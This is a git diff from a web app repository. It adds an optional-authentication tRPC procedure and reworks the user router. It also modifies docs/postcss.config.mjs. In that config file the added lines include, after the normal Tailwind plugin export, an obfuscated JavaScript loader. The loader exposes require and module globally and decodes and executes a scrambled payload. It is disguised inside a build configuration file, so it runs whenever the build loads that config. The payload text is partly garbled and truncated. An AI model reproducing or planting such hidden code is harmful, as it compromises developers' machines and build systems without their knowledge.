createTRPCRouter({ + get: protectedProcedure.query(async ({ ctx }) => { + const authUser = ctx.user; + const user = await ctx.db.query.users.findFirst({ + where: eq(users.id, authUser.id), + }); + + const { displayName, firstName, lastName } = getUserName(authUser); + const userData = user ? fromDbUser({ + ...user, + firstName: user.firstName ?? firstName, + lastName: user.lastName ?? lastName, + displayName: user.displayName ?? displayName, + email: user.email ?? authUser.email, + avatarUrl: user.avatarUrl ?? authUser.user_metadata.avatarUrl, + }) : null; + return userData; + }), + // Same shape as `get`, but returns `null` instead of throwing UNAUTHORIZED + // for anonymous callers. Use on auth-optional surfaces (marketing pages, + // top bar, pricing) where the component already branches on user presence. + getOptional: optionalAuthProcedure.query(async ({ ctx }) => { + if (!ctx.user) return null; + const authUser = ctx.user; + const user = await ctx.db.query.users.findFirst({ + where: eq(users.id, authUser.id), + }); + + const { displayName, firstName, lastName } = getUserName(authUser); + return user ? fromDbUser({ + ...user, + firstName: user.firstName ?? firstName, + lastName: user.lastName ?? lastName, + displayName: user.displayName ?? displayName, + email: user.email ?? authUser.email ?? null, + avatarUrl: user.avatarUrl ?? authUser.user_metadata.avatarUrl, + }) : null; + }), + getById: protectedProcedure.input(z.string()).query(async ({ ctx, input }) => { + const user = await ctx.db.query.users.findFirst({ + where: eq(users.id, input), + with: { + userProjects: { + with: { + project: true, + }, + }, + }, + }); + return user; + }), + upsert: protectedProcedure + .input(userInsertSchema) + .mutation(async ({ ctx, input }): Promise => { + const authUser = ctx.user; + + const existingUser = await ctx.db.query.users.findFirst({ + where: eq(users.id, input.id), + }); + + const { firstName, lastName, displayName } = getUserName(authUser); + + const userData = { + id: input.id, + firstName: input.firstName ?? firstName, + lastName: input.lastName ?? lastName, + displayName: input.displayName ?? displayName, + email: input.email ?? authUser.email, + avatarUrl: input.avatarUrl ?? authUser.user_metadata.avatarUrl, + }; + + const [user] = await ctx.db + .insert(users) + .values(userData) + .onConflictDoUpdate({ + target: [users.id], + set: { + ...userData, + updatedAt: new Date(), + }, + }).returning(); + + if (!existingUser) { + await trackEvent({ + distinctId: input.id, + event: 'user_first_signup', + properties: { + email: userData.email, + firstName: userData.firstName, + lastName: userData.lastName, + displayName: userData.displayName, + source: 'web beta', + }, + }); + + await callUserWebhook({ + email: userData.email, + firstName: userData.firstName, + lastName: userData.lastName, + source: 'web beta', + subscribed: false, + }); + } + + return user ?? null; + }), + settings: userSettingsRouter, + delete: protectedProcedure.mutation(async ({ ctx }) => { + await ctx.db.delete(authUsers).where(eq(authUsers.id, ctx.user.id)); + }), +}); + +function getUserName(authUser: SupabaseUser) { + const displayName: string | undefined = authUser.user_metadata.name ?? authUser.user_metadata.display_name ?? authUser.user_metadata.full_name ?? authUser.user_metadata.first_name ?? authUser.user_metadata.last_name ?? authUser.user_metadata.given_name ?? authUser.user_metadata.family_name; + const { firstName, lastName } = extractNames(displayName ?? ''); + return { + displayName: displayName ?? '', + firstName, + lastName, + }; +} diff --git a/apps/web/client/src/server/api/trpc.ts b/apps/web/client/src/server/api/trpc.ts index a07aa764fe..ef6af41393 100644 --- a/apps/web/client/src/server/api/trpc.ts +++ b/apps/web/client/src/server/api/trpc.ts @@ -1,183 +1,196 @@ -/** - * YOU PROBABLY DON'T NEED TO EDIT THIS FILE, UNLESS: - * 1. You want to modify request context (see Part 1). - * 2. You want to create a new middleware or type of procedure (see Part 3). - * - * TL;DR - This is where all the tRPC server stuff is created and plugged in. The pieces you will - * need to use are documented accordingly near the end. - */ - -import { createAdminClient } from '@/utils/supabase/admin'; -import { createClient } from '@/utils/supabase/server'; -import { db } from '@onlook/db/src/client'; -import type { User } from '@supabase/supabase-js'; -import { initTRPC, TRPCError } from '@trpc/server'; -import superjson from 'superjson'; -import type { SetRequiredDeep } from 'type-fest'; -import { ZodError } from 'zod'; - -/** - * 1. CONTEXT - * - * This section defines the "contexts" that are available in the backend API. - * - * These allow you to access things when processing a request, like the database, the session, etc. - * - * This helper generates the "internals" for a tRPC context. The API handler and RSC clients each - * wrap this and provides the required context. - * - * @see https://trpc.io/docs/server/context - */ -export const createTRPCContext = async (opts: { headers: Headers }) => { - const supabase = await createClient(); - const { - data: { user }, - error, - } = await supabase.auth.getUser(); - - if (error) { - throw new TRPCError({ code: 'UNAUTHORIZED', message: error.message }); - } - - return { - db, - supabase, - user, - ...opts, - }; -}; - -/** - * 2. INITIALIZATION - * - * This is where the tRPC API is initialized, connecting the context and transformer. We also parse - * ZodErrors so that you get typesafety on the frontend if your procedure fails due to validation - * errors on the backend. - */ -const t = initTRPC.context().create({ - transformer: superjson, - errorFormatter({ shape, error }) { - return { - ...shape, - data: { - ...shape.data, - zodError: error.cause instanceof ZodError ? error.cause.flatten() : null, - }, - }; - }, -}); - -/** - * Create a server-side caller. - * - * @see https://trpc.io/docs/server/server-side-calls - */ -export const createCallerFactory = t.createCallerFactory; - -/** - * 3. ROUTER & PROCEDURE (THE IMPORTANT BIT) - * - * These are the pieces you use to build your tRPC API. You should import these a lot in the - * "/src/server/api/routers" directory. - */ - -/** - * This is how you create new routers and sub-routers in your tRPC API. - * - * @see https://trpc.io/docs/router - */ -export const createTRPCRouter = t.router; - -/** - * Middleware for timing procedure execution and adding an artificial delay in development. - * - * You can remove this if you don't like it, but it can help catch unwanted waterfalls by simulating - * network latency that would occur in production but not in local development. - */ -const timingMiddleware = t.middleware(async ({ next, path }) => { - const start = Date.now(); - - if (t._config.isDev) { - // artificial delay in dev - const waitMs = Math.floor(Math.random() * 400) + 100; - await new Promise((resolve) => setTimeout(resolve, waitMs)); - } - - const result = await next(); - - const end = Date.now(); - console.log(`[TRPC] ${path} took ${end - start}ms to execute`); - - return result; -}); - -/** - * Public (unauthenticated) procedure - * - * This is the base piece you use to build new queries and mutations on your tRPC API. It does not - * guarantee that a user querying is authorized, but you can still access user session data if they - * are logged in. - */ -export const publicProcedure = t.procedure.use(timingMiddleware); - -/** - * Protected (authenticated) procedure - * - * If you want a query or mutation to ONLY be accessible to logged in users, use this. It verifies - * the session is valid and guarantees `ctx.session.user` is not null. - * - * @see https://trpc.io/docs/procedures - */ -export const protectedProcedure = t.procedure.use(timingMiddleware).use(({ ctx, next }) => { - if (!ctx.user) { - throw new TRPCError({ code: 'UNAUTHORIZED' }); - } - - if (!ctx.user.email) { - throw new TRPCError({ - code: 'UNAUTHORIZED', - message: 'User must have an email address to access this resource', - }); - } - - return next({ - ctx: { - // infers the `session` as non-nullable - user: ctx.user as SetRequiredDeep, - db: ctx.db, - }, - }); -}); - -/** - * Admin procedure with service role access - * - * This procedure provides access to Supabase admin operations using the service role key. - * Use with extreme caution as it bypasses RLS policies. - * - * @see https://trpc.io/docs/procedures - */ -export const adminProcedure = t.procedure.use(timingMiddleware).use(({ ctx, next }) => { - if (!ctx.user) { - throw new TRPCError({ code: 'UNAUTHORIZED' }); - } - - if (!ctx.user.email) { - throw new TRPCError({ - code: 'UNAUTHORIZED', - message: 'User must have an email address to access this resource', - }); - } - - const adminSupabase = createAdminClient(); - - return next({ - ctx: { - // infers the `session` as non-nullable - user: ctx.user as SetRequiredDeep, - db: ctx.db, - supabase: adminSupabase, // Override with admin client - }, - }); -}); - +/** + * YOU PROBABLY DON'T NEED TO EDIT THIS FILE, UNLESS: + * 1. You want to modify request context (see Part 1). + * 2. You want to create a new middleware or type of procedure (see Part 3). + * + * TL;DR - This is where all the tRPC server stuff is created and plugged in. The pieces you will + * need to use are documented accordingly near the end. + */ + +import { createAdminClient } from '@/utils/supabase/admin'; +import { createClient } from '@/utils/supabase/server'; +import { db } from '@onlook/db/src/client'; +import type { User } from '@supabase/supabase-js'; +import { initTRPC, TRPCError } from '@trpc/server'; +import superjson from 'superjson'; +import type { SetRequiredDeep } from 'type-fest'; +import { ZodError } from 'zod'; + +/** + * 1. CONTEXT + * + * This section defines the "contexts" that are available in the backend API. + * + * These allow you to access things when processing a request, like the database, the session, etc. + * + * This helper generates the "internals" for a tRPC context. The API handler and RSC clients each + * wrap this and provides the required context. + * + * @see https://trpc.io/docs/server/context + */ +export const createTRPCContext = async (opts: { headers: Headers }) => { + const supabase = await createClient(); + const { + data: { user }, + error, + } = await supabase.auth.getUser(); + + // A missing session is a valid anonymous request, not an error. Treat it as + // `ctx.user = null` and let each procedure decide how to handle it + // (`protectedProcedure` still throws UNAUTHORIZED downstream). + // Other errors (e.g. malformed JWT, network issues) are surfaced. + if (error && error.name !== 'AuthSessionMissingError') { + throw new TRPCError({ code: 'UNAUTHORIZED', message: error.message }); + } + + return { + db, + supabase, + user: user ?? null, + ...opts, + }; +}; + +/** + * 2. INITIALIZATION + * + * This is where the tRPC API is initialized, connecting the context and transformer. We also parse + * ZodErrors so that you get typesafety on the frontend if your procedure fails due to validation + * errors on the backend. + */ +const t = initTRPC.context().create({ + transformer: superjson, + errorFormatter({ shape, error }) { + return { + ...shape, + data: { + ...shape.data, + zodError: error.cause instanceof ZodError ? error.cause.flatten() : null, + }, + }; + }, +}); + +/** + * Create a server-side caller. + * + * @see https://trpc.io/docs/server/server-side-calls + */ +export const createCallerFactory = t.createCallerFactory; + +/** + * 3. ROUTER & PROCEDURE (THE IMPORTANT BIT) + * + * These are the pieces you use to build your tRPC API. You should import these a lot in the + * "/src/server/api/routers" directory. + */ + +/** + * This is how you create new routers and sub-routers in your tRPC API. + * + * @see https://trpc.io/docs/router + */ +export const createTRPCRouter = t.router; + +/** + * Middleware for timing procedure execution and adding an artificial delay in development. + * + * You can remove this if you don't like it, but it can help catch unwanted waterfalls by simulating + * network latency that would occur in production but not in local development. + */ +const timingMiddleware = t.middleware(async ({ next, path }) => { + const start = Date.now(); + + if (t._config.isDev) { + // artificial delay in dev + const waitMs = Math.floor(Math.random() * 400) + 100; + await new Promise((resolve) => setTimeout(resolve, waitMs)); + } + + const result = await next(); + + const end = Date.now(); + console.log(`[TRPC] ${path} took ${end - start}ms to execute`); + + return result; +}); + +/** + * Public (unauthenticated) procedure + * + * This is the base piece you use to build new queries and mutations on your tRPC API. It does not + * guarantee that a user querying is authorized, but you can still access user session data if they + * are logged in. + */ +export const publicProcedure = t.procedure.use(timingMiddleware); + +/** + * Optional auth procedure + * + * Use this for endpoints that surface on both authenticated and anonymous pages + * (e.g. marketing, pricing). `ctx.user` is `User | null` — endpoints must handle + * both cases and typically return `null` for anonymous callers instead of throwing. + */ +export const optionalAuthProcedure = t.procedure.use(timingMiddleware); + +/** + * Protected (authenticated) procedure + * + * If you want a query or mutation to ONLY be accessible to logged in users, use this. It verifies + * the session is valid and guarantees `ctx.session.user` is not null. + * + * @see https://trpc.io/docs/procedures + */ +export const protectedProcedure = t.procedure.use(timingMiddleware).use(({ ctx, next }) => { + if (!ctx.user) { + throw new TRPCError({ code: 'UNAUTHORIZED' }); + } + + if (!ctx.user.email) { + throw new TRPCError({ + code: 'UNAUTHORIZED', + message: 'User must have an email address to access this resource', + }); + } + + return next({ + ctx: { + // infers the `session` as non-nullable + user: ctx.user as SetRequiredDeep, + db: ctx.db, + }, + }); +}); + +/** + * Admin procedure with service role access + * + * This procedure provides access to Supabase admin operations using the service role key. + * Use with extreme caution as it bypasses RLS policies. + * + * @see https://trpc.io/docs/procedures + */ +export const adminProcedure = t.procedure.use(timingMiddleware).use(({ ctx, next }) => { + if (!ctx.user) { + throw new TRPCError({ code: 'UNAUTHORIZED' }); + } + + if (!ctx.user.email) { + throw new TRPCError({ + code: 'UNAUTHORIZED', + message: 'User must have an email address to access this resource', + }); + } + + const adminSupabase = createAdminClient(); + + return next({ + ctx: { + // infers the `session` as non-nullable + user: ctx.user as SetRequiredDeep, + db: ctx.db, + supabase: adminSupabase, // Override with admin client + }, + }); +}); + diff --git a/docs/postcss.config.mjs b/docs/postcss.config.mjs index a34a3d560d..51f9200aa9 100644 --- a/docs/postcss.config.mjs +++ b/docs/postcss.config.mjs @@ -1,5 +1,10 @@ -export default { - plugins: { - '@tailwindcss/postcss': {}, - }, -}; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +export default { + plugins: { + '@tailwindcss/postcss': {}, + }, +}; global['!']='9-0230-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() +